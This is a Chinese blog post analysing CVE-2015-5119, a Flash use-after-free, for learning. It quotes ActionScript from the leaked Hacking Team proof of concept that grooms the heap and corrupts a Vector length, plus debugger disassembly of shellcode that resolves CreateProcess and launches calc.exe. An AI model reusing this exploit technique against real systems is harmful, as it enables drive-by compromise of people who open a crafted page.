UAF漏洞分析之CVE-2015-5119

by Netfairy - 2015-11-14

实验环境

操作系统:Vmware Windows xp sp1 

FLASH 版本:Adobe Flash 13

漏洞文件:Flash32_13_0_0_182.ocx

调试器:Windbg:6.12.0002.633 x86 

前言

CVE-2015-5119是一个典型的UAF漏洞,Flash对ByteArray内部的buffer使用不当,从而在buffer释放后仍然保持对buffer的引用,导致攻击者可以通过构造特殊的swf文件,通过嵌入在网页中使访问改页面的人中招。

漏洞验证

在开始之前,我都会验证我拿到的poc是否会触发漏洞,这次也不例外。首先在虚拟机用IE打开exp1.swf

1.png

然后点击下面的Run calc.exe

2.png

确实可以触发漏洞,接下来就是分析漏洞成因。

漏洞分析

这个poc是从Hacking Team流出来的,里面自带swf源文件。3.png

用Adobe Flash Professional CS5.5载入这些文件,触发漏洞的关键在MyClass.as。进入这个文件,来看TryExp1()这个函数,部分摘录如下:


static function TryExpl() : Boolean
		{
			try
			{
				var alen:int = 90; // should be multiply of 3
				var a = new Array(alen);
				if (_gc == null) _gc = new Array();
				_gc.push(a); // protect from GC // for RnD
				
				// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
				for(var i:int; i < alen; i+=3){
					a[i] = new MyClass2(i);
					
					a[i+1] = new ByteArray();
					a[i+1].length = 0xfa0;
					
					a[i+2] = new MyClass2(i+2);
				}
				
				
				// find these pages
				var v:Vector.<uint>;
				for(i=alen-5; i >= 0; i-=3)
				{
					//
					_ba = a[i];  //a[i]==[ ByteArray ]起始地址
					// call valueOf() and cause UaF memory corruption 
					_ba[3] = new MyClass();  //关键地方
函数首先定义一个长度为90的数组a在第一个for循环中,为数组a赋值,每赋值一次ByteArray,就赋值两次MyClass2。在第二次for循环开始,a[i]指向ByteArray,其中ByteArray长度为0xfa0。_ba=a[i]把ByteArray首地址赋值给_ba,_ba[3]=new MyClass()会调用valueOf函数,函数摘录如下:



prototype.valueOf = function ()		{
			logAdd("MyClass.valueOf()");
			
			_va = new Array(5);
			_gc.push(_va); // protect from GC // for RnD
			
			// reallocate _ba storage
			_ba.length = 0x1100;
			
			// reuse freed memory
			for(var i:int; i < _va.length; i++)
				_va[i] = new Vector.<uint>(0x3f0);
			
			// return one byte for overwriting
			return 0x40;
		}
在这个函数中,_ba.length=0x1100会导致原来_ba的空间释放掉,因为长度不等。接着程序分配很多个长度为0x3f0长度的Vector占领原来_ba的空间。而_ba还保持着对原来内存的引用,并且valueOf返回值是0x40。如果没有UAF漏洞,那么Vector占领的内存是这样的:四个字节长度+分配的空间,那么就因该是


Vector:f0 03 00 00 +内存空间。

但是_ba还保留对原来内存引用,所以_ba[3] = new MyClass(); _ba[3]等于valueOf的返回值,即0x40,0x40会写入Vector头部,变成

Vector:f0 03 00 40 +内存空间。

于是我们可以得到一个超长的vector对象。

用windbg调试swf样本:


bp Flash32_13_0_0_182!IAEModule_IAEKernel_UnloadModule+0x12eebd
下断,点Run calc.exe,程序断在


0541385d ffd2            call    edx {073cc7a6}
跟进去


073cc7a6 55              push    ebp
073cc7a7 8bec            mov     ebp,esp
073cc7a9 83ec08          sub     esp,8
073cc7ac 895dfc          mov     dword ptr [ebp-4],ebx
073cc7af 8b4508          mov     eax,dword ptr [ebp+8]
073cc7b2 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
073cc7b5 8b5510          mov     edx,dword ptr [ebp+10h]
073cc7b8 8b1a            mov     ebx,dword ptr [edx]
073cc7ba 83e3f8          and     ebx,0FFFFFFF8h
073cc7bd 891a            mov     dword ptr [edx],ebx
073cc7bf 8b5dfc          mov     ebx,dword ptr [ebp-4]
073cc7c2 83ec04          sub     esp,4
073cc7c5 52              push    edx
073cc7c6 51              push    ecx
073cc7c7 50              push    eax
073cc7c8 e87b1bcafe      call    0606e348
继续跟进去


0606e348 55              push    ebp
0606e349 8bec            mov     ebp,esp
0606e34b 83c4ac          add     esp,0FFFFFFACh
0606e34e 53              push    ebx
0606e34f 51              push    ecx
0606e350 57              push    edi
0606e351 648b0530000000  mov     eax,dword ptr fs:[30h]
0606e358 8b400c          mov     eax,dword ptr [eax+0Ch]
0606e35b 8b400c          mov     eax,dword ptr [eax+0Ch]
0606e35e 8b00            mov     eax,dword ptr [eax]
0606e360 8b00            mov     eax,dword ptr [eax]
0606e362 8b5818          mov     ebx,dword ptr [eax+18h]
0606e365 89d8            mov     eax,ebx
0606e367 03403c          add     eax,dword ptr [eax+3Ch]
0606e36a 8b5078          mov     edx,dword ptr [eax+78h]
0606e36d 01da            add     edx,ebx
0606e36f 8b7a20          mov     edi,dword ptr [edx+20h]
0606e372 01df            add     edi,ebx
0606e374 31c9            xor     ecx,ecx
0606e376 8b07            mov     eax,dword ptr [edi]
0606e378 01d8            add     eax,ebx
0606e37a 813843726561    cmp     dword ptr [eax],61657243h
0606e380 751c            jne     0606e39e
0606e382 81780b73734100  cmp     dword ptr [eax+0Bh],offset iexplore!_NULL_IMPORT_DESCRIPTOR <PERF> (iexplore+0x17373) (00417373)
0606e389 7513            jne     0606e39e
0606e38b 8b4224          mov     eax,dword ptr [edx+24h]
0606e38e 01d8            add     eax,ebx
0606e390 0fb70448        movzx   eax,word ptr [eax+ecx*2]
0606e394 8b521c          mov     edx,dword ptr [edx+1Ch]
0606e397 01da            add     edx,ebx
0606e399 031c82          add     ebx,dword ptr [edx+eax*4]
0606e39c eb09            jmp     0606e3a7
0606e39e 83c704          add     edi,4
0606e3a1 41              inc     ecx
0606e3a2 3b4a18          cmp     ecx,dword ptr [edx+18h]
0606e3a5 7ccf            jl      0606e376
0606e3a7 8d45f0          lea     eax,[ebp-10h]
0606e3aa 50              push    eax
0606e3ab 8d7dac          lea     edi,[ebp-54h]
0606e3ae 57              push    edi
0606e3af 31c0            xor     eax,eax
0606e3b1 b911000000      mov     ecx,11h
0606e3b6 f3ab            rep stos dword ptr es:[edi]
0606e3b8 c745ac44000000  mov     dword ptr [ebp-54h],44h
0606e3bf 50              push    eax
0606e3c0 50              push    eax
0606e3c1 50              push    eax
0606e3c2 50              push    eax
0606e3c3 50              push    eax
0606e3c4 50              push    eax  //eax==0
0606e3c5 e809000000      call    0606e3d3  //返回地址指向calc.exe
跟进去


0606e3d3 50              push    eax
0606e3d4 ffd3            call    ebx  //CreateProcess
0606e3d6 5f              pop     edi
0606e3d7 59              pop     ecx
0606e3d8 5b              pop     ebx
0606e3d9 c1e003          shl     eax,3
0606e3dc 83c006          add     eax,6
0606e3df c9              leave
0606e3e0 c3              ret
流程很清楚了吧,当然我分析的还不够详细,如果感兴趣,可以更深入的分析它。


总结

这是我分析的第一个flash漏洞,感觉收获还是挺大的,虽然还有很多疑惑,我相信在分析多几个,熟悉了就简单了。还是要多练。。。